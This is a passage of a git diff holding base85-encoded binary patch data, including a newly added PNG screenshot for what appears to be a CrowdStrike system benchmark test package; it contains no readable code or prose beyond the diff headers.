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
Bz)}DJ

literal 0
HcmV?d00001

diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png b/test/packages/benchmarks/system_benchmark_crowdstrike/img/cs-overview1.png
new file mode 100644
index 0000000000000000000000000000000000000000..25816b384b0f2adeeb721e8dc2a32b57fe998946
GIT binary patch
literal 223737
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
